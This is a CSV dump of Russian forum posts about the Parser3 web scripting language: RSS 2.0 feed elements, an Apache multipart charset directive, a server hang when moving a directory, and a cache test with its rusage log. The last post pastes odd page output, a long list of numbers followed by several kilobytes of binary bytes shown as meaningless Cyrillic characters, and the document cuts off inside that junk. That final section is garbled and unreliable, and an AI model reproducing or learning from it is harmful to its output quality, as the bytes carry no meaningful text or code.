"19332","1. читайм например тут про [url=\"http://blogs.law.harvard.edu/tech/rss\"]rss 2.0[/url] и видим \"Required channel elements\". заодно смотрим приводимый там [url=\"http://cyber.law.harvard.edu/blogs/gems/tech/sampleRss20.xml\"]sample rss 2.0 файл[/url] - в нашем случае все что required я отдаю. так? (некоторые значения подкорректировал, некоторые опциональные элементы добавил)\
\
2. xmlns:dc=\"http://purl.org/dc/elements/1.1/\" - это круто, только на фига оно на парсерном форуме?\
\
3. доходим до описания item и не видим ни одного упоминания про указанные namespace: ни про dc ни про content ни про rdf. нет в стандарте - не будет и тут (в предлагаемом списке модулей такое тоже не значится, вы не объясняете, гадать, заниматься поисками или бездумно добавлять не буду). далее, предлагаете в description добавить \"Короткое описание\", однако где я его буду брать?\
\
4. про CDATA. попробовал добавить, но единственный имеющийся у меня RSS reader \"FeedReader\" перестал нормально показывать содержимое с CDATA... Мне в принципе пофигу, скажете - буду вываливать содержимое description в CDATA.\
\
5. <link/> - добавил, хотя с моей точки зрения, согласно чтению документации <guid/> для этой цели было более чем достаточно."
"19333","Под виндами картинка сохраняется правильно, а на сервере не сохраняются так как надо только картинки, а например .html-файлы сохраняются.\
Может быть что-то на сервере не так?"
"19334","Сервер linux 7.3 (слакварь)\
PARSER3 ver 3.07\
попытка перемещения каталога \
var/www/1/1 -> /var/www/1 \
т.е. каталог с таким именем уже существует.\
Понятно что, при перемещении каталогов нужно делать проверку, но если ее не делать.... дООООООлго ждет браузер ответа.\
\
Короче наблюдаю такую картину: висит 5 parser'ов (с ними 5 postgres'ов) при попытки обратится к тoму самому каталогу виснет все даже ШЕЛ. Парсеры пуленепробиваемые (kill -9 их не берет)\
Что бы это значило?"
"19335","хоть бы слово про серсер, кроме того, что на нем все плохо...\
\
OS? HTTP SERVER? Версия Parser? и т.д..."
"19336","Эээ дорогой, какую же ты попсу собрался делать столь почётным инструментом, коим является парсер. Чат сосёт - работы много, а толку мало."
"19339","CharsetRecodeMulipartForms off"
"19340","Может он клиенту так хорошо сосет, что он мне денег за него платить готов.\
 А я принципально ВСЕ стараюсь делать при помощи Парсера."
"19341","Спасибо! Добавил \"CharsetRecodeMulipartForms off\" и все получилось.\
Если не сложно подскажите что я сделал, на будущее."
"19342","а если немного поподробней :)"
"19343","этой опцией вы ему сказали: \"так родной, отныне мне твои перекодировки в формах multipart не нужны, я сам большой и сам со всем разбирусь.\"\
\
ссылка по теме (powered by google/yandex and so on): http://apache.lexa.ru/configure.html#charsetrecodemultipartforms"
"19344","Это описано в инструкции по установке. Скорее всего - нет.\
\
А CharsetRecode... - директива русского апача, запрещающая ему \"править\" кодировку у данных, пришедших из форм с enctype=\"multipart/form-data\""
"19348","написл такой простенький код, чтоб ощутить кайф от кэша:\
[code]\
#cache.html\
@metod[var]\
$cahce_key[$var]\
^cache[/cache/${cahce_key}.txt](5000){ \
   текущий параметр: $var<br>\
   $t[^math:random(100)]   \
   ^for[i](1;9000){\
   ^math:log(^eval($i*$t*$t))<br>\
   }\
}\
^rusage[парамер^:${var}]\
\
@main[]\
$r[^math:random(10)]\
^rusage[до $r^:^:^:]\
^metod[$r]\
^rusage[после $r^:^:^:]\
[/code]\
\
пользую: Parser3.1,Apache2,WinXP\
\
т.е. по моим расчетам сначала метод вычисляет со случайным от 1 до 9 параметром, это все кэшируется и далее при следующих вызовах метода он берет из кэша, если такой параметр уже выпадал и вроде как все должно заработать быстрее.\
\
но судя по rusage.log это не так, или я может че не так понимаю и делаю?\
\
[code]\
rusage.log\
[2003-08-06 17:13:02.282356] 127.0.0.2: до 0::: 0.0300432 0.050072 3828 /cache.html \
[2003-08-06 17:13:02.632860] 127.0.0.2: параметр:0 0.370533 0.0600864 12672 /cache.html \
[2003-08-06 17:13:02.642875] 127.0.0.2: после 0::: 0.370533 0.0701008 12680 /cache.html \
[2003-08-06 17:13:05.737324] 127.0.0.2: до 9::: 0.0600864 0.0200288 3828 /cache.html \
[2003-08-06 17:13:06.077814] 127.0.0.2: параметр:9 0.380547 0.0400576 12668 /cache.html \
[2003-08-06 17:13:06.077814] 127.0.0.2: после 9::: 0.380547 0.0400576 12676 /cache.html \
[2003-08-06 17:13:08.351083] 127.0.0.2: до 7::: 0.050072 0.0300432 3828 /cache.html \
[2003-08-06 17:13:08.691572] 127.0.0.2: параметр:7 0.380547 0.0300432 12668 /cache.html \
[2003-08-06 17:13:08.691572] 127.0.0.2: после 7::: 0.380547 0.0300432 12676 /cache.html \
[2003-08-06 17:13:10.474136] 127.0.0.2: до 1::: 0.0300432 0.0400576 3828 /cache.html \
[2003-08-06 17:13:10.814625] 127.0.0.2: параметр:1 0.370533 0.0400576 12668 /cache.html \
[2003-08-06 17:13:10.824640] 127.0.0.2: после 1::: 0.370533 0.0400576 12676 /cache.html \
[2003-08-06 17:13:13.278168] 127.0.0.2: до 9::: 0.0400576 0.0300432 3828 /cache.html \
[2003-08-06 17:13:13.648700] 127.0.0.2: параметр:9 0.34049 0.0701008 12836 /cache.html \
[2003-08-06 17:13:13.648700] 127.0.0.2: после 9::: 0.34049 0.0701008 12844 /cache.html \
[2003-08-06 17:13:15.080760] 127.0.0.2: до 7::: 0.050072 0.0200288 3828 /cache.html \
[2003-08-06 17:13:15.421249] 127.0.0.2: параметр:7 0.390562 0.0200288 12836 /cache.html \
[2003-08-06 17:13:15.421249] 127.0.0.2: после 7::: 0.390562 0.0200288 12844 /cache.html \
[2003-08-06 17:13:17.283928] 127.0.0.2: до 5::: 0.0400576 0.0300432 3828 /cache.html \
[2003-08-06 17:13:17.634432] 127.0.0.2: параметр:5 0.370533 0.050072 12668 /cache.html \
[2003-08-06 17:13:17.634432] 127.0.0.2: после 5::: 0.370533 0.050072 12676 /cache.html \
[2003-08-06 17:13:19.306836] 127.0.0.2: до 8::: 0.0300432 0.0400576 3828 /cache.html \
[2003-08-06 17:13:19.647326] 127.0.0.2: параметр:8 0.350504 0.050072 12668 /cache.html \
[2003-08-06 17:13:19.647326] 127.0.0.2: после 8::: 0.360518 0.050072 12676 /cache.html \
[2003-08-06 17:13:21.499990] 127.0.0.2: до 0::: 0.0400576 0.0300432 3828 /cache.html \
[2003-08-06 17:13:21.850494] 127.0.0.2: параметр:0 0.360518 0.0600864 12836 /cache.html \
[2003-08-06 17:13:21.850494] 127.0.0.2: после 0::: 0.360518 0.0600864 12844 /cache.html \
[2003-08-06 17:13:24.093720] 127.0.0.2: до 0::: 0.050072 0.0200288 3828 /cache.html \
[2003-08-06 17:13:24.454238] 127.0.0.2: параметр:0 0.380547 0.0300432 12836 /cache.html \
[2003-08-06 17:13:24.454238] 127.0.0.2: после 0::: 0.390562 0.0300432 12844 /cache.html \
[2003-08-06 17:13:25.996456] 127.0.0.2: до 0::: 0.0300432 0.0400576 3828 /cache.html \
[2003-08-06 17:13:26.336945] 127.0.0.2: параметр:0 0.34049 0.0600864 12836 /cache.html \
[2003-08-06 17:13:26.336945] 127.0.0.2: после 0::: 0.34049 0.0600864 12844 /cache.html \
[2003-08-06 17:13:27.298328] 127.0.0.2: до 3::: 0.050072 0.0200288 3828 /cache.html \
[2003-08-06 17:13:27.638817] 127.0.0.2: параметр:3 0.370533 0.0400576 12668 /cache.html \
[2003-08-06 17:13:27.638817] 127.0.0.2: после 3::: 0.370533 0.0400576 12676 /cache.html \
[2003-08-06 17:13:28.500056] 127.0.0.2: до 5::: 0.050072 0.0200288 3828 /cache.html \
[2003-08-06 17:13:28.840545] 127.0.0.2: параметр:5 0.370533 0.0400576 12836 /cache.html \
[2003-08-06 17:13:28.840545] 127.0.0.2: после 5::: 0.370533 0.0400576 12844 /cache.html \
[2003-08-06 17:13:29.821956] 127.0.0.2: до 5::: 0.050072 0.0300432 3828 /cache.html \
[2003-08-06 17:13:30.152432] 127.0.0.2: параметр:5 0.370533 0.0400576 12836 /cache.html \
[2003-08-06 17:13:30.162446] 127.0.0.2: после 5::: 0.370533 0.0400576 12844 /cache.html \
[2003-08-06 17:13:31.043713] 127.0.0.2: до 9::: 0.0200288 0.050072 3824 /cache.html \
[2003-08-06 17:13:31.384203] 127.0.0.2: параметр:9 0.350504 0.0701008 12832 /cache.html \
[2003-08-06 17:13:31.384203] 127.0.0.2: после 9::: 0.350504 0.0701008 12840 /cache.html \
[2003-08-06 17:13:32.315542] 127.0.0.2: до 7::: 0.0200288 0.0600864 3828 /cache.html \
[2003-08-06 17:13:32.676060] 127.0.0.2: параметр:7 0.34049 0.0801152 12836 /cache.html \
[2003-08-06 17:13:32.676060] 127.0.0.2: после 7::: 0.34049 0.0801152 12844 /cache.html \
[2003-08-06 17:13:34.548753] 127.0.0.2: до 5::: 0.0701008 0.0200288 3828 /cache.html \
[2003-08-06 17:13:34.879228] 127.0.0.2: параметр:5 0.390562 0.0200288 12836 /cache.html \
[2003-08-06 17:13:34.889243] 127.0.0.2: после 5::: 0.390562 0.0300432 12844 /cache.html \
[2003-08-06 17:13:36.211144] 127.0.0.2: до 8::: 0.0300432 0.0400576 3828 /cache.html \
[2003-08-06 17:13:36.561648] 127.0.0.2: параметр:8 0.370533 0.050072 12836 /cache.html \
[2003-08-06 17:13:36.561648] 127.0.0.2: после 8::: 0.370533 0.050072 12844 /cache.html \
[2003-08-06 17:13:38.113880] 127.0.0.2: до 8::: 0.0300432 0.0400576 3828 /cache.html \
[2003-08-06 17:13:38.464384] 127.0.0.2: параметр:8 0.350504 0.0600864 12836 /cache.html \
[2003-08-06 17:13:38.464384] 127.0.0.2: после 8::: 0.350504 0.0701008 12844 /cache.html \
[2003-08-06 17:13:39.616040] 127.0.0.2: до 5::: 0.0300432 0.0400576 3828 /cache.html \
[2003-08-06 17:13:39.956529] 127.0.0.2: параметр:5 0.350504 0.0600864 12836 /cache.html \
[2003-08-06 17:13:39.956529] 127.0.0.2: после 5::: 0.350504 0.0600864 12844 /cache.html \
[2003-08-06 17:13:40.837796] 127.0.0.2: до 1::: 0.0200288 0.0600864 3828 /cache.html \
[2003-08-06 17:13:41.208329] 127.0.0.2: параметр:1 0.330475 0.0600864 12836 /cache.html \
[2003-08-06 17:13:41.208329] 127.0.0.2: после 1::: 0.330475 0.0701008 12844 /cache.html \
[2003-08-06 17:13:44.833542] 127.0.0.2: до 0::: 0.050072 0.0300432 3828 /cache.html \
[2003-08-06 17:13:45.164017] 127.0.0.2: параметр:0 0.370533 0.050072 12836 /cache.html \
[2003-08-06 17:13:45.164017] 127.0.0.2: после 0::: 0.370533 0.050072 12844 /cache.html \
[2003-08-06 17:13:46.025256] 127.0.0.2: до 6::: 0.0200288 0.0400576 3828 /cache.html \
[2003-08-06 17:13:46.365745] 127.0.0.2: параметр:6 0.350504 0.050072 12668 /cache.html \
[2003-08-06 17:13:46.365745] 127.0.0.2: после 6::: 0.350504 0.050072 12676 /cache.html \
[2003-08-06 17:13:47.327128] 127.0.0.2: до 4::: 0.0300432 0.050072 3828 /cache.html \
[2003-08-06 17:13:47.667617] 127.0.0.2: параметр:4 0.330475 0.0901296 12668 /cache.html \
[2003-08-06 17:13:47.667617] 127.0.0.2: после 4::: 0.330475 0.0901296 12676 /cache.html \
[2003-08-06 17:13:49.640454] 127.0.0.2: до 4::: 0.0300432 0.050072 3828 /cache.html \
[2003-08-06 17:13:49.990958] 127.0.0.2: параметр:4 0.370533 0.0600864 12836 /cache.html \
[2003-08-06 17:13:49.990958] 127.0.0.2: после 4::: 0.370533 0.0600864 12844 /cache.html \
[2003-08-06 17:13:51.352916] 127.0.0.2: до 4::: 0.0400576 0.0300432 3828 /cache.html \
[2003-08-06 17:13:51.693406] 127.0.0.2: параметр:4 0.370533 0.0400576 12836 /cache.html \
[2003-08-06 17:13:51.693406] 127.0.0.2: после 4::: 0.370533 0.0400576 12844 /cache.html \
[2003-08-06 17:13:53.756372] 127.0.0.2: до 7::: 0.050072 0.0300432 3828 /cache.html \
[2003-08-06 17:13:54.096862] 127.0.0.2: параметр:7 0.360518 0.050072 12836 /cache.html \
[2003-08-06 17:13:54.096862] 127.0.0.2: после 7::: 0.360518 0.0600864 12844 /cache.html \
[2003-08-06 17:13:56.249958] 127.0.0.2: до 0::: 0.0300432 0.0400576 3828 /cache.html \
[2003-08-06 17:13:56.600462] 127.0.0.2: параметр:0 0.370533 0.050072 12836 /cache.html \
[2003-08-06 17:13:56.600462] 127.0.0.2: после 0::: 0.370533 0.050072 12844 /cache.html \
[2003-08-06 17:13:58.162708] 127.0.0.2: до 6::: 0.050072 0.0100144 3828 /cache.html \
[2003-08-06 17:13:58.513212] 127.0.0.2: параметр:6 0.380547 0.0200288 12836 /cache.html \
[2003-08-06 17:13:58.513212] 127.0.0.2: после 6::: 0.380547 0.0300432 12844 /cache.html \
[/code]\
\
чтоб это проверить я в IE обновлял страницу cache.html кучу раз и на этом этапе тоже какой-то глюк:\
то всё ок!\
то выдает что-то не понятное типа такого(copy/paste):\
\
\
\
Нажимайте reload, меняется каждые 5 секунд: 6\
8.58092\
9.27407\
9.67953\
9.96721\
10.1904\
10.3727\
10.5268\
10.6604\
10.7781\
10.8835\
10.9788\
11.0658\
11.1459\
11.22\
11.289\
11.3535\
11.4141\
11.4713\
11.5254\
11.5767\
11.6254\
11.672\
11.7164\
11.759\
11.7998\
(кусок удален, слишком длинный)\
17.2453\
17.2455\
17.2457\
17.2458\
17.246\
17.2462\
17.2464\
17.2465\
17.2467\
17.2469\
17.247\
17.2472\
17.2474\
17.2476\
17.2477\
17.2479\
17.2481\
17.2483\
17.2484\
17.2486\
17.2488\
17.2489\
17.2491\
17.2493\
17.2495\
17.2496\
17.2498\
17.25\
17.2501\
17.2503\
17.2505\
17.2507\
17.2508\
17.251\
17.2512\
17.2513\
17.2515\
17.2517\
17.2519\
17.252\
17.2522\
17.2524\
17.2525\
17.2527\
17.2529\
17.2531\
17.2532\
17.2534\
17.2536\
17.2537\
17.2539\
17.2541\
17.2543\
17.2544\
17.2546\
17.2548\
17.2549\
17.2551\
17.2553\
17.2555\
17.2556\
17.2558\
17.256\
17.2561\
17.2563\
17.2565\
17.2567\
17.2568\
17.257\
17.2572\
17.2573\
17.2575\
17.2577\
17.2578\
17.258\
17.2582\
17.2584\
17.2585\
17.2587\
17.2589\
17.259\
17.2592\
17.2594\
17.2596\
17.2597\
17.2599\
17.2601\
17.2602\
17.2604\
17.2606\
17.2607\
17.2609\
17.2611\
17.2613\
17.2614\
17.2616\
17.2618\
17.2619\
17.2621\
17.2623\
17.2624\
17.2626\
17.2628\
17.2629\
17.2631\
17.2633\
17.2635\
17.2636\
17.2638\
17.264\
17.2641\
17.2643\
17.2645\
17.2646\
17.2648\
17.265\
17.2652\
17.2653\
17.2655\
17.2657\
17.2658\
17.266\
17.2662\
17.2663\
17.2665\
17.2667\
17.2668\
17.267\
17.2672\
17.2673\
17.2675\
17.2677\
17.2679\
17.268\
17.2682\
17.2684\
17.2685\
17.2687\
17.2689\
17.269\
17.2692\
17.2694\
17.2695\
17.2697\
17.2699\
17.27\
17.2702\
17.2704\
17.2706\
17.2707\
17.2709\
17.2711\
17.2712\
17.2714\
17.2716\
17.2717\
17.2719\
17.2721\
17.2722\
17.2724\
17.2726\
17.2727\
17.2729\
17.2731\
17.2732\
17.2734\
17.2736\
17.2737\
17.2739\
17.2741\
17.2742\
17.2744\
17.2746\
17.2748\
17.2749\
17.2751\
17.2753\
17.2754\
17.2756\
17.2758\
17.2759\
17.2761\
17.2763\
17.2764\
17.2766\
17.2768\
17.2769\
17.2771\
17.2773\
17.2774\
17.2776\
17.2778\
17.2779\
17.2781\
17.2783\
17.2784\
17.2786\
17.2788\
17.2789\
17.2791\
17.2793\
17.2794\
17.2796\
17.2798\
17.2799\
17.2801\
17.2803\
17.2804\
17.2806\
17.2808\
17.2809\
17.2811\
17.2813\
17.2814\
17.2816\
17.2818\
17.2819\
17.2821\
17.2823\
17.2824\
17.2826\
17.2828\
17.2829\
17.2831\
17.2833\
17.2834\
17.2836\
17.2838\
17.2839\
17.2841\
17.2843\
17.2844\
17.2846\
17.2848\
17.2849\
17.2851\
17.2853\
17.2854\
17.2856\
17.2858\
17.2859\
17.2861\
17.2863\
17.2864\
17.2866\
17.2867\
17.2869\
17.2871\
17.2872\
17.2874\
17.2876\
17.2877\
17.2879\
17.2881\
17.2882\
17.2884\
17.2886\
17.2887\
17.2889\
17.2891\
17.2892\
17.2894\
17.2896\
17.2897\
17.2899\
17.2901\
17.2902\
17.2904\
17.2905\
17.2907\
17.2909\
17.291\
17.2912\
17.2914\
17.2915\
17.2917\
17.2919\
17.292\
17.2922\
17.2924\
17.2925\
17.2927\
17.2929\
17.293\
17.2932\
17.2933\
17.2935\
17.2937\
17.2938\
17.294\
17.2942\
17.2943\
17.2945\
17.2947\
17.2948\
17.295\
17.2952\
17.2953\
17.2955\
17.2957\
17.2958\
17.296\
17.2961\
17.2963\
17.2965\
17.2966\
17.2968\
17.297\
17.2971\
17.2973\
17.2975\
17.2976\
17.2978\
17.2979\
17.2981\
17.2983\
17.2984\
17.2986\
17.2988\
17.2989\
17.2991\
17.2993\
17.2994\
17.2996\
17.2997\
17.2999\
17.3001\
17.3002\
17.3004\
17.3006\
17.3007\
17.3009\
17.3011\
17.3012\
17.3014\
17.3015\
17.3017\
17.3019\
17.302\
17.3022\
17.3024\
17.3025\
17.3027\
17.3028\
17.303\
17.3032\
17.3033\
17.3035\
17.3037\
17.3038\
17.304\
17.3042\
17.3043\
17.3045\
17.3046\
17.3048\
17.305\
17.3051\
17.3053\
17.3055\
17.3056\
17.3058\
17.3059\
17.3061\
17.3063\
17.3064\
17.3066\
17.3068\
17.3069\
17.3071\
17.3072\
17.3074\
17.3076\
17.3077\
17.3079\
17.308\
17.3082\
17.3084\
17.3085\
17.3087\
17.3089\
17.309\
17.3092\
17.3093\
17.3095\
17.3097\
17.3098\
17.31\
17.3102\
17.3103\
17.3105\
17.3106\
17.3108\
17.311\
17.3111\
17.3113\
17.3114… ?8X??…??‹†Иє??В‰†И‹y??ъ‰y?‹F$‹H ?К‰H ‹F$‹H?Ђ9%u Vи«?яяѓД?‹F$‹P?Ђ:u?hъPи?СѓД?…А? Vи5©яяѓД?‹F$‹H?Љ?< tA< t=< t9< t5‹?‰^T;Еt?‹@X;Еt?‹V?hЬъ;RяРѓД?‹† ?‰n ;Еu З†Ф?VиїїяяVиЙВяя‰D$,‹?ѓД?;Е?„z?9?Ф?…n?‹@(;Е?„c?‹L$$‹T$?Q‹L$?R‹T$8Q‹N?RQяРѓД?йA?‹?;Еt*9?Фu\"‹@?;Еt?‹T$?‹L$?UR‹T$8Q‹N?j?RQяРѓД?9n??„??‹F?;Еt?‹P8hPotF‹?ЗFT%;Еt?‹@X;Еt?‹|$0‹V?Wh?oїяя‹ШѓД …Ыuі3н‹?ЗFTC;Еt?‹@X;Еt?‹N?hєp=.w|ЃжА?ЃюА?wnЭE?Ь?Pl:ЯацД?u^ЭE?Ь?Hl:ЯацД?tN‹E?Ба?Бш?=`ъяя~>= ?}7ЗE ‹D$?…Аt?;Eu#‹D$ …Аt _‰(^]3А[YГUиІзяяѓД?3А_^][YГUиҐзяяѓД?_^]ё?[YГђђђђђђђ‹D$?SUV‹?W3Ы3яЉ?<0r?<9v?<-t?<+t?_^]ѓИя[Г<-u?»?AЉ?‹й<0rS‹t$?<9w?‹?%яAGЌ?’ЌDPР‰?Љ?<0sдѓя?|.~?Ђ}0t&…Ыt?‹?чЪ‰?ѓ>u _^]ё?[Г‹D$?_^]‰?3А[Г_^]ё?[ГђђђђђђђђђS‹\\$ W‹;Љ?Ђщ0rAЂщ9w<ЉG?<0r5<9w1V‹t$?Ќ I‹V?Сб+Б3Вѓа?3В‰F?ѓа?ѓш?^r?ѓш w?ѓЗ?3А‰;_[Г_ё?[Г_ё?[ГS‹\\$ W‹;Љ?<0rX<9wTЉO?Ђщ0rLЂщ9wG%яЃбяѓиhV‹t$?Ќ?Ђ‹V?Ќ?AБа?3В%р?3В‰F?%р?ѓш?^r?=р?w?ѓЗ?3А‰;_[Г_ё?[Г_ё?[Гђђђђђђђђђђ‹D$?SU3Т‹?3нWЉ?<0r(<9w$ЉY?Ђы0r?Ђы9w?%яЃгяЌ?ЂЌ”Sрэяял?Ґ?ѓБ?…нt?‹Е_][ГЂ9:t _]ё?[Г‹|$?ѓв?Бв ‹G?VЂдБ‹тA р‰w?Љ?Ђы0r6Ђы9w1ЉA?<0r*<9w&Ѓгя%яЌ?›Ќ„Pря?Ба?3Ж%А?3Ж‰G?л?Ґ?ѓБ?^…нt?‹Е_][ГЂ9:t _]ё?[ГЉQ?AЂъ0r2Ђъ9w-ЉA?<0r&<9w\"Ѓвя%яЌ?’Ќ„Pрэяя‰D$?ЫD$?Э_?л?Ґ?ѓБ?…нuUЂ9.uVЉQ?AЭ?`l:Ђъ0r?Ђъ9v?Ґ?Ђъ0r,Ђъ9w'Ь Xl:Ѓвяѓк0A‰T$?ЫD$?ШЙЬG?Э_?Љ?Ђъ0sФ…нЭШt?‹Е_][Г‹G?‹РЃв>Ѓъ.wQ%А?=А?wEЭG?Ь?Pl:ЯацД?u5ЭG?Ь?Hl:ЯацД?t%‹??Бз?Бя?Ѓя`ъяя~?Ѓя ?} ‹D$?_][‰?3АГ_]ё?[ГђђђђђђђђђђђђђђђQSUVW‹|$?3н…я‹?u _^]ѓИя[YГЉ?‹тЃжяѓюZ?‡™?3АЉ†T{8я$…D{8‹D$?‹P?Ѓвряя‰P?‰?_^]3А[YГ‹D$?‹P?Ѓв?ряяѓК?A‰P?‰?_^]3А[YГ3ц3АЂъ-ЉQ??”АAЂъ0‰D$?r*Ђъ9w%ЉY?Ђы0r?Ђы9w?ЃвяЃгяЌ?’ЌґSрэяял?Ґ?ѓБ?…нt?_‹Е^][YГ…ц?Њкѓю??ЏбЂ9:?…г‹|$?Ќ?vA‹W?Ќ?›Ба?3В%ю?3В‰G?Љ?Ђъ0r*Ђъ9w%ЉY?Ђы0r?Ђы9w?ЃвяЃгяЌ?’ЌґSрэяял?Ґ?ѓБ?…нt?_‹Е^][YГ…ц|rѓю;?m‹W?‹В$юБа?Бш?Ќ?p3В%ю?3В‹T$?…Т‰G?t?‹Р%?ряяБв?Бъ?чЪЃвя?Св Р‰W?‹W?‹ВБа?Бш?=`ъяя~?= ?}?ѓК?3А‰W?‹|$?‰?_^][YГ_^]ё?[YГ_^]ё?[YГЌI?y8дy8Жy86{8??????????????????????????????????????????????????????????????????????????????????????????ђѓмDSUV‹t$XW3Ы3я°M;у‰\\$\\ЖD$?Y?D$?ЖD$?DЖD$?H?D$?ЖD$?S‰|$?‰|$ ‰|$$‰|$(‰|$,ЗD$0?х@‰|$4ЗD$8 ?@‰|$<ЗD$@N@‰|$DЗD$Hр?‰|$L‰|$Pu _^]ѓИя[ѓДDГЂ>-u ЗD$\\?FЉ?Fu _^]ё?[ѓДDГj иґуяя‹иѓД?…нu _^]ѓИя[ѓДDГЉ?„А?„6?ѓя??ѓ??.uLЉF?FЭ?`l:<0r <9w?»?л?ѓЛя<0r%<9w!Ь Xl:%яѓи0F‰D$?ЫD$?Љ?<0ШЙЮВsЫЭШѓыяteЉ?„Аt_ѓя?s?:D<?t?Gѓя?tNѓя?rпЭШЉF?F„АtWй?яяя…Ыt?ѓя?r1‹Зѓиt?Ht ЬLь?GЬE?Э]?лУиёО??E?лЙи?О?Ќ @Бб?‰M?л№ЭШUиЩЯяяѓД?_^]ё?[ѓДDГ‹D$\\…Аt?‹U?‹E ЭE?чЪчШЩаЭ]?‰U?‰E ‹D$`…Аt _‰(^]3А[ѓДDГUиЏЯяяѓД?3А_^][ѓДDГђђVW‹|$ …я‹Чu?_3А^ГЉ?„Аt?< t < t?< t?< u?ЉB?B„АuиЉ ‹В„Йt?ЉH?@„Йuш‹рH;Вv?Љ?Ђщ t?Ђщ t Ђщ t?Ђщ u?H;Вwе@;Чu ;рu?_3А^Г+ВPRиx|ыяѓД?_^ГђђS‹\\$?VW…Ы‹ыu?_^3А[ГЉ?„Аt?< t < t?< t?< u?ЉG?G„АuиЉ?‹З„Тt<Ђъ u?ЉH?:Кt(Ђщ t#Ђщ t?Ђщ t?Ђъ t?Ђъ t?Ђъ t ЉP?@„ТuОл?‹р+ч…цuA‹РH;Зv?Љ?Ђщ t?Ђщ t Ђщ t?Ђщ u?H;Зwе@;ыu ;Рu?_^3А[Г+ЗPWиБ{ыяѓД?_^[ГWи?|ыяѓД?…Аu?_^[ГЉ ??р„Й‹ЦtAЉ Ђщ t?Ђщ t?Ђщ t Ђщ t???FBл ЉJ?BЂщ tчЂщ tтЂщ tнЂщ tи„Йt Ж? FЂ:uїЖ?_^[Гђђђђђђѓм?‹D$?SU3н…А‰l$?‰l$ ?„l?PиЏ{ыя‹ШѓД?…Ы‰\\$??„U?‹ЛЉ?< t < t?< t?< u?Ж?AлиЉ?„АSV‹t$?W‹N,…Й?ЋG?‹^(…Ы?„<?‹ …Й?„2?‹I$ѓй?„$?I?„Іѓй??…??3Т…н?Ћ ?‹|$?Љ :Ђщ t?Ђщ t Ђщ t?Ђщ u B;Х|д_^[]Г…ц?„Э‹F?…АtE‹C?…Аt>PjиpGяя‹ш‹C?ѓД?‹H(…яQt?‹?Wh@?PjиъFяя‹S?ѓД?‹ш‹B(…яPt?‹?Wh@?яя‹шѓД?…яt?‹E(‹?PWh@?u?ѓя?u?Ж?&AЖ?gAЖ?tAЖ?;йіЂъ&u!…яt?ѓя?u?Ж?&AЖ?aAЖ?mAЖ?pAЖ?;йЌЂъ\"u?…яu?Ж?&AЖ?qAЖ?uAЖ?oAЖ?tAЖ?;лkЂъ u?…яu?Ж?&AЖ?#AЖ?xAЖ?9AЖ?;лMЂъ u?…яu?Ж?&AЖ?#AЖ?xAЖ?AAЖ?;л/Ђъ u(…яt?ѓя?t ѓя?t?ѓя?u?Ж?&AЖ?#AЖ?xAЖ?DAЖ?;л???ЉU?AE„Т?…Ъюяя_^]Ж?[Гh0?;Ў/=Pя?°?<ѓД?_^]3А[ГђђђђђђђђV‹t$?…цt/‹F<…Аt PикѓД?‹F4…Аt?h (2PиE??ѓД?Vя???<ѓД?^ГђђђђђђV‹t$?…ц?„ўѓ~ ??„?Ўш,=…АtR‹F?…Аt?PЎ/=hl?;Pя?°?<ѓД л4‹F?…Аt?‹ /=Phl?;Qя?°?<ѓД л?‹?/=hX?;Rя?°?<ѓД?‹F?…Аt Pя???<ѓД?‹F?…Аt Pя???<ѓД?‹F?…Аt Pя???<ѓД?Vя???<ѓД?^Гђђђђђђђђђђђђђђђ‹D$?…Аt?V‹0Pи/яяяѓД?‹Ж…цuп^Гђђђђ‹D$?…Аt@ѓ8?u;‹ ш,=…Йt?Ў/=h„?;Pя?°?<‹D$ ѓД?‹P4ЌL$?QhP)2Rиѕ ?ѓД 3АГѓИяГђђђђV‹t$?…цW?„©‹|$?…я?„ќ‹O4…Й?„’‹G<…А?„‡‹F ѓАфѓш wjя$… *2ЗF ?л?ЗF ?л?ЗF ?л?ЗF ?‹F?‹O4jPQин??‹W<З?‰V?‹?<ѓД ‹O?…Йu?‰w?_^Г‹?…Аt?‹И‹?…Аuш‰1_^Г‹F?h (2PQи???ѓД _^Г‹я›)2’)2’)2’)2’)2’)2’)2є)2х)2ґ)2ђђђђђђђђђђђђQSUVWЗD$?иОя?‹р…цu?Ў??<…Аt hє?;VяРѓД?_^]3А[YГ‹l$?jUи@(?ѓД?‹Ш…ЫVu?и1ю?ѓД?3А_^][YГиAч?‹шѓД?…яu?Vи?ю?ѓД?3А_^][YГUи1†?‰G?‰?‹C?WV‹?‰O ‹S?‹?‰G?‹[?‹K?‹??И‰O?и?»?‹†ґ3яѓД ;Зu Uиг/?ѓД?л?‹D$?9ѕґu ;Зt?‰†ґV‰~d‰~h‰ѕ??‰ѕ ?и?‚?‹F ѓД?;Зt?‹~?Vи}э?ѓД?‹З_^][YГ‹V?RиYм?ѓД?‰~?Vи]э?ѓД?‹З_^][YГђђS‹\\$?VWSиУ‹рѓД?…цu?_^[ГЎT?;Pj?иI‹шѓД?…яu?Vя???<ѓД?3А_^[Гj?SVWиf?V‹Шя???<ѓД?…Ы}?Wи?ьяяѓД?3А_^[Г‹З_^[ГђVj@я?Њ?<‹рѓД?…цu?Ў/=j@hґ?;Pя?°?<ѓД 3А^ГW№?3А‹юу«‹D$ ‹L$?ѓш?‰?ЗF,ЗF0 ‰N8_u j и ??ѓД?‰F4‹Ж^Гђђђђђђѓм$SUV‹t$4…цWu _^]3А[ѓД$ГЌD$?PVя??P:ѓД?…А} _^]3А[ѓД$ГjVя?(P:‹ШѓД?…Ы} _^]3А[ѓД$Г‹D$$‹иЌx Wя?ђ?<‹рѓД?…цu ‹ /=Whґ?;Qя?°?<ѓД 3А_^][ѓД$ГUVSя? P:‹шѓД …я}?Vя???<ѓД?3А_^][ѓД$ГSя?$P:ѓД?Ж?7‹Ж_^][ѓД$ГђђђђђђђQSU‹l$?3Ы;л?„С?‹D$?;Г?„Е?VWPи?О?ѓД?‰D$?8]?„Њ?ЉE< t < t?< t?< u?EлкЉE:Г?„k?<-u?Ђ}?-u?UиZ?‹иѓД?;л?„N?лЇЌD$?‰\\$ PU‰\\$$3яиЖ?‹L$$ѓД?;Л‹и?„&?ЉE< t?< t < t?< ?…??ЉE< t < t?< t?< u?Eлкh@?;QиЌО?ѓД?…Аt ї й‘?‹L$?h8?;QиmО?ѓД?…Аt ї йq?‹T$?h,?;RиMО?ѓД?…А?…R?‹D$?h$?;Pи3О?ѓД?…Аt ї?й7?‹L$?h??;Qи?О?ѓД?…Аt ї?й??‹T$?h??;RиуН?ѓД?…Аt ї?йч‹D$?h??;PиУН?ѓД?…Аt ї?йЧ‹L$?hш?;QиіН?ѓД?…Аt ї?йЇ‹T$?hм?;Rи“Н?ѓД?…Аt 